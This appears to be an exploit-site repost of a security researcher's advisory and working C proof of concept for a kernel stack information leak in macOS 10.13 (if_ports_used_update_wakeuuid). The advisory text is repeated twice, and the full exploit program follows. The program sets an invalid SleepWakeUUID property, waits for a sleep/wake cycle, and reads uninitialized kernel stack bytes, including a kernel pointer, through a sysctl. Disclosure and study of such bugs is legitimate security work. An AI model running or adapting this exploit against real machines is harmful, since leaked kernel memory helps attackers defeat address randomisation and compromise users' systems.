Kod:
/*
macOS 10.13.4 introduced the file bsd/net/if_ports_used.c, which defines sysctls for inspecting
ports, and added the function IOPMCopySleepWakeUUIDKey() to the file
iokit/Kernel/IOPMrootDomain.cpp. Here's the code of the latter function:
extern "C" bool
IOPMCopySleepWakeUUIDKey(char *buffer, size_t buf_len)
{
if (!gSleepWakeUUIDIsSet) {
return (false);
}
if (buffer != NULL) {
OSString *string;
string = (OSString *)
gRootDomain->copyProperty(kIOPMSleepWakeUUIDKey);
if (string == NULL) {
*buffer = '\0';
} else {
strlcpy(buffer, string->getCStringNoCopy(), buf_len);
string->release();
}
}
return (true);
}
This function is interesting because it copies a caller-specified amount of data from the
"SleepWakeUUID" property (which is user-controllable). Thus, if a user process sets "SleepWakeUUID"
to a shorter string than the caller expects and then triggers IOPMCopySleepWakeUUIDKey(),
out-of-bounds heap data will be copied into the caller's buffer.
However, triggering this particular information leak is challenging, since the only caller is the
function if_ports_used_update_wakeuuid(). Nonetheless, this function also contains an information
leak:
void
if_ports_used_update_wakeuuid(struct ifnet *ifp)
{
uuid_t wakeuuid; // (a) wakeuuid is uninitialized.
bool wakeuuid_is_set = false;
bool updated = false;
if (__improbable(use_test_wakeuuid)) {
wakeuuid_is_set = get_test_wake_uuid(wakeuuid);
} else {
uuid_string_t wakeuuid_str;
wakeuuid_is_set = IOPMCopySleepWakeUUIDKey(wakeuuid_str, // (b) wakeuuid_str is controllable.
sizeof(wakeuuid_str));
if (wakeuuid_is_set) {
uuid_parse(wakeuuid_str, wakeuuid); // (c) The return value of
} // uuid_parse() is not checked.
}
if (!wakeuuid_is_set) {
if (if_ports_used_verbose > 0) {
os_log_info(OS_LOG_DEFAULT,
"%s: SleepWakeUUID not set, "
"don't update the port list for %s\n",
__func__, ifp != NULL ? if_name(ifp) : "");
}
wakeuuid_not_set_count += 1;
if (ifp != NULL) {
microtime(&wakeuuid_not_set_last_time);
strlcpy(wakeuuid_not_set_last_if, if_name(ifp),
sizeof(wakeuuid_not_set_last_if));
}
return;
}
lck_mtx_lock(&net_port_entry_head_lock);
if (uuid_compare(wakeuuid, current_wakeuuid) != 0) { // (e) These UUIDs will be different.
net_port_entry_list_clear();
uuid_copy(current_wakeuuid, wakeuuid); // (f) Uninitialized stack garbage
updated = true; // will be copied into a sysctl
} // variable.
/*
* Record the time last checked
microuptime(&wakeuiid_last_check);
lck_mtx_unlock(&net_port_entry_head_lock);
if (updated && if_ports_used_verbose > 0) {
uuid_string_t uuid_str;
uuid_unparse(current_wakeuuid, uuid_str);
log(LOG_ERR, "%s: current wakeuuid %s\n",
__func__,
uuid_str);
}
}
After the user-controllable "SleepWakeUUID" property is copied into the wakeuuid_str buffer using
IOPMCopySleepWakeUUIDKey(), the UUID string is converted into a (binary) UUID using the function
uuid_parse(). uuid_parse() is meant to parse the string-encoded UUID into the local wakeuuid
buffer. However, the wakeuuid buffer is not initialized and the return value of uuid_parse() is not
checked, meaning that if we set the "SleepWakeUUID" property's first character to anything other
than a valid hexadecimal digit, we can get random stack garbage copied into the global
current_wakeuuid buffer. This is problematic because current_wakeuuid is a sysctl variable, meaning
its value can be read from userspace.
Tested on macOS 10.13.6 17G2112:
bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % clang wakeuuid-leak.c -framework IOKit -framework CoreFoundation -o wakeuuid-leak
bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % ./wakeuuid-leak
1. Sleep the device.
2. Wake the device.
3. Press any key to continue.
current_wakeuuid: 0xd0ddc6477f1e00b7 0xffffff801e468a28
*/
/*
* wakeuuid-leak.c
* Brandon Azad ([email protected])
*/
#if 0
iOS/macOS: 16-byte uninitialized kernel stack disclosure in if_ports_used_update_wakeuuid().
macOS 10.13.4 introduced the file bsd/net/if_ports_used.c, which defines sysctls for inspecting
ports, and added the function IOPMCopySleepWakeUUIDKey() to the file
iokit/Kernel/IOPMrootDomain.cpp. Here's the code of the latter function:
extern "C" bool
IOPMCopySleepWakeUUIDKey(char *buffer, size_t buf_len)
{
if (!gSleepWakeUUIDIsSet) {
return (false);
}
if (buffer != NULL) {
OSString *string;
string = (OSString *)
gRootDomain->copyProperty(kIOPMSleepWakeUUIDKey);
if (string == NULL) {
*buffer = '\0';
} else {
strlcpy(buffer, string->getCStringNoCopy(), buf_len);
string->release();
}
}
return (true);
}
This function is interesting because it copies a caller-specified amount of data from the
"SleepWakeUUID" property (which is user-controllable). Thus, if a user process sets "SleepWakeUUID"
to a shorter string than the caller expects and then triggers IOPMCopySleepWakeUUIDKey(),
out-of-bounds heap data will be copied into the caller's buffer.
However, triggering this particular information leak is challenging, since the only caller is the
function if_ports_used_update_wakeuuid(). Nonetheless, this function also contains an information
leak:
void
if_ports_used_update_wakeuuid(struct ifnet *ifp)
{
uuid_t wakeuuid; // (a) wakeuuid is uninitialized.
bool wakeuuid_is_set = false;
bool updated = false;
if (__improbable(use_test_wakeuuid)) {
wakeuuid_is_set = get_test_wake_uuid(wakeuuid);
} else {
uuid_string_t wakeuuid_str;
wakeuuid_is_set = IOPMCopySleepWakeUUIDKey(wakeuuid_str, // (b) wakeuuid_str is controllable.
sizeof(wakeuuid_str));
if (wakeuuid_is_set) {
uuid_parse(wakeuuid_str, wakeuuid); // (c) The return value of
} // uuid_parse() is not checked.
}
if (!wakeuuid_is_set) {
if (if_ports_used_verbose > 0) {
os_log_info(OS_LOG_DEFAULT,
"%s: SleepWakeUUID not set, "
"don't update the port list for %s\n",
__func__, ifp != NULL ? if_name(ifp) : "");
}
wakeuuid_not_set_count += 1;
if (ifp != NULL) {
microtime(&wakeuuid_not_set_last_time);
strlcpy(wakeuuid_not_set_last_if, if_name(ifp),
sizeof(wakeuuid_not_set_last_if));
}
return;
}
lck_mtx_lock(&net_port_entry_head_lock);
if (uuid_compare(wakeuuid, current_wakeuuid) != 0) { // (e) These UUIDs will be different.
net_port_entry_list_clear();
uuid_copy(current_wakeuuid, wakeuuid); // (f) Uninitialized stack garbage
updated = true; // will be copied into a sysctl
} // variable.
/*
* Record the time last checked
*/
microuptime(&wakeuiid_last_check);
lck_mtx_unlock(&net_port_entry_head_lock);
if (updated && if_ports_used_verbose > 0) {
uuid_string_t uuid_str;
uuid_unparse(current_wakeuuid, uuid_str);
log(LOG_ERR, "%s: current wakeuuid %s\n",
__func__,
uuid_str);
}
}
After the user-controllable "SleepWakeUUID" property is copied into the wakeuuid_str buffer using
IOPMCopySleepWakeUUIDKey(), the UUID string is converted into a (binary) UUID using the function
uuid_parse(). uuid_parse() is meant to parse the string-encoded UUID into the local wakeuuid
buffer. However, the wakeuuid buffer is not initialized and the return value of uuid_parse() is not
checked, meaning that if we set the "SleepWakeUUID" property's first character to anything other
than a valid hexadecimal digit, we can get random stack garbage copied into the global
current_wakeuuid buffer. This is problematic because current_wakeuuid is a sysctl variable, meaning
its value can be read from userspace.
Tested on macOS 10.13.6 17G2112:
bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % clang wakeuuid-leak.c -framework IOKit -framework CoreFoundation -o wakeuuid-leak
bazad@bazad-macbookpro ~/Developer/poc/wakeuuid-leak % ./wakeuuid-leak
1. Sleep the device.
2. Wake the device.
3. Press any key to continue.
current_wakeuuid: 0xd0ddc6477f1e00b7 0xffffff801e468a28
#endif
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <IOKit/IOKitLib.h>
#include <sys/sysctl.h>
int
main(int argc, const char *argv[]) {
CFStringRef kIOPMSleepWakeUUIDKey = CFSTR("SleepWakeUUID");
// First get IOPMrootDomain::setProperties() called with "SleepWakeUUID" set to an invalid
// value.
io_service_t IOPMrootDomain = IOServiceGetMatchingService(
kIOMasterPortDefault,
IOServiceMatching("IOPMrootDomain"));
if (IOPMrootDomain == IO_OBJECT_NULL) {
printf("Error: Could not look up IOPMrootDomain\n");
return 1;
}
kern_return_t kr = IORegistryEntrySetCFProperty(
IOPMrootDomain,
kIOPMSleepWakeUUIDKey,
CFSTR(""));
if (kr != KERN_SUCCESS) {
printf("Error: Could not set SleepWakeUUID\n");
return 2;
}
// Next get IOPMrootDomain::handlePublishSleepWakeUUID() called, probably via
// IOPMrootDomain::handleOurPowerChangeStart(). For now, just ask the tester to sleep and
// wake the device.
printf("1. Sleep the device.\n2. Wake the device.\n3. Press any key to continue.\n");
getchar();
// Check that we successfully set an invalid UUID.
CFTypeRef value = IORegistryEntryCreateCFProperty(
IOPMrootDomain,
kIOPMSleepWakeUUIDKey,
kCFAllocatorDefault,
0);
if (!CFEqual(value, CFSTR(""))) {
printf("Error: SleepWakeUUID not set successfully\n");
return 3;
}
// Now we need to trigger the leak in if_ports_used_update_wakeuuid(). We can use the
// sysctl net.link.generic.system.get_ports_used.<ifindex>.<protocol>.<flags>.
size_t get_ports_used_mib_size = 5;
int get_ports_used_mib[get_ports_used_mib_size + 3];
int err = sysctlnametomib("net.link.generic.system.get_ports_used",
get_ports_used_mib, &get_ports_used_mib_size);
if (err != 0) {
return 4;
}
get_ports_used_mib[get_ports_used_mib_size++] = 1; // ifindex
get_ports_used_mib[get_ports_used_mib_size++] = 0; // protocol
get_ports_used_mib[get_ports_used_mib_size++] = 0; // flags
uint8_t ports_used[65536 / 8];
size_t ports_used_size = sizeof(ports_used);
err = sysctl(get_ports_used_mib, get_ports_used_mib_size,
ports_used, &ports_used_size, NULL, 0);
if (err != 0) {
printf("Error: sysctl %s: errno %d\n",
"net.link.generic.system.get_ports_used", errno);
return 5;
}
// Finally retrieve the leak with sysctl
// net.link.generic.system.port_used.current_wakeuuid.
uint8_t current_wakeuuid[16];
size_t current_wakeuuid_size = sizeof(current_wakeuuid);
err = sysctlbyname("net.link.generic.system.port_used.current_wakeuuid",
current_wakeuuid, ¤t_wakeuuid_size, NULL, 0);
if (err != 0) {
printf("Error: sysctl %s: errno %d\n",
"net.link.generic.system.port_used.current_wakeuuid", errno);
return 6;
}
uint64_t *leak = (uint64_t *)current_wakeuuid;
printf("current_wakeuuid: 0x%016llx 0x%016llx\n", leak[0], leak[1]);
return 0;
}
# 0day.today [2019-01-30] #